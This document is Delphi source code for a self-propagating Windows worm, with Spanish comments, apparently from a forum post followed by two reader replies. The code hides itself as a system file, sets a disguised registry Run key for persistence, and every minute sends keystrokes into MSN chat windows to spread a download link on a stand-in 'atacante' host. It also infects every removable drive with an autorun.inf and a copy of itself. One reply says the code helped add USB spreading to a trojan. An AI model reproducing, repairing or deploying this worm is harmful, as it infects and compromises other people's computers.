program gusano;
// {$APPTYPE CONSOLE} Comentamos esta linea para esconder la consola
uses
Windows, SysUtils, sndkey32;
//* Constantes Gblobales
const
msj = ‘http://atacante/gusano.zip’; //* Mensaje Propagacion MSN
ruta0 = ‘c:\SW1.exe’; //* Nombre del gusano en sistema
//* Variables Gblobales
var
ruta1 : String;
Msg: TMsg;
//* Funcion para enviar msj a una ventana
// utilizando el nombre de clase de la ventana para localizarla
function enviarmsj(clase: PChar):boolean;
var
ventana:HWND;
begin
Result:=False;
ventana:= FindWindow(clase, nil);
AppActivate(ventana) ;
SendKeys(msj+#13, True) ;
Result:=True;
end;
//* Procedimiento para enviar msj al nombre de la clase de la ventana msn
// para ello utilizamos la funcion "enviarmsj" apuntando a la clase IMWindowClass
procedure mensajes(hwnd : THandle; uMsg,idEvent:integer; dwTime: DWORD); stdcall;
begin
enviarmsj(‘IMWindowClass’);
end;
//* Procedimiento que copia el gusano a otra direccion en el sistema
procedure copiado;
begin
ruta1 := ExtractFilePath(ParamStr(0))+ExtractFileName(ParamStr(0));
if ruta1 <> ruta0 then begin
copyfile(pchar(paramstr(0)+‘…’) , PChar(ruta0), false);
FileSetAttr( ruta0, 7);
end;
end;
//* Funcion para escribir valores en registro
function SetClave(key:Hkey; subkey,name,value:string):boolean;
var
regKey:hkey;
begin
result:=FALSE;
RegCreateKey(key,PChar(subkey),regKey);
if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then
result:=TRUE;
RegCloseKey(regKey);
end;
//* Procedimiento para agregar una clave en el registro utilizando la funcion "SetClave"
procedure autoinicio;
begin
SetClave(HKEY_CURRENT_USER,‘SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run’,
‘wuactl.exe’,ruta0);
end;
//* Procedimiento para Infectar memorias USB con autorun.inf
procedure usbinfeccion(hwnd : THandle; uMsg,idEvent:integer; dwTime: DWORD); stdcall;
const
autorun0 = ‘c:\7777.txt’; //* Nombre del autorun.inf que se utilizara en la USB
gusanoexe = ‘10101.exe’; //* Nombre del exe del gusano dentro de la memoria USB
autorun = ‘autorun.inf’; //* Nombre del autorun dentro de la memoria USB
var
Letra: Char;
inf : TextFile;
begin
if not FileExists(autorun0) //* Creamos el contenido del autorun.inf
then begin
AssignFile(inf, autorun0);
ReWrite(inf);
WriteLn(inf, ‘[AUTORUN]‘);
WriteLn(inf, ‘open=’+gusanoexe);
WriteLn(inf, ’shell\1=abrir’);
WriteLn(inf, ’shell\1\Command=’+gusanoexe);
WriteLn(inf, ’shell\2\=explorar’);
WriteLn(inf, ’shell\2\Command=’+gusanoexe);
WriteLn(inf, ’shellexecute=’+gusanoexe);
CloseFile(inf);
FileSetAttr( autorun0, 7); //* Cerramos autorun.inf despues de crearlo
end;
//* Copiamos el autorun y el gusano a las unidades extraibles
for Letra:= ‘C’ to ‘Z’ do
if GetDriveType(Pchar(Letra+‘:\’)) = DRIVE_REMOVABLE then begin
if not FileExists(Pchar(Letra+‘:\’+gusanoexe)) then begin
FileSetAttr(Pchar(Letra+‘:\’+autorun), 0);
copyfile(Pchar(autorun0),Pchar(Letra+‘:\’+autorun),false);
copyfile(Pchar(ruta0),Pchar(Letra+‘:\’+gusanoexe),false);
end
end
end;
{
*/ Inicio de ejecucion del gusano
}
begin
copiado;
//* Iniciamos procedimiento de copiado
autoinicio;
//* Iniciamos procedimiento de autoinicio
SetTimer(0,0,60000,@mensajes);
//* Tiempo en milisegundos (60000) en la que se ejecutara continuamente
// el procedimiento "mensajes"
SetTimer(0,0,100,@usbinfeccion);
//* Tiempo en milisegundos (100) en la que se ejecutara continuamente
// el procedimiento "usbinfeccion"
{
*/ procedimiento para atender los eventos del timer
*/ [ No tocar esta seccion]
}
while True do
begin
Sleep(1);
if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then
begin
if Msg.Message <> $0012 then
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end
else
begin
Break;
end;
end;
end;
{
*/ procedimiento para atender los eventos del timer
*/ [ No tocar esta seccion]
}
end.
{
*/ Final de ejecucion del gusano
}
Muy buen codigo, estoy implementando el usb spread a mi troyano y esto me ha ayudado mucho.
Gracias
Mmmm bueno
pero tiene algunas fallas nO=? kreo k no se puede compilar espero la aktualizacion :$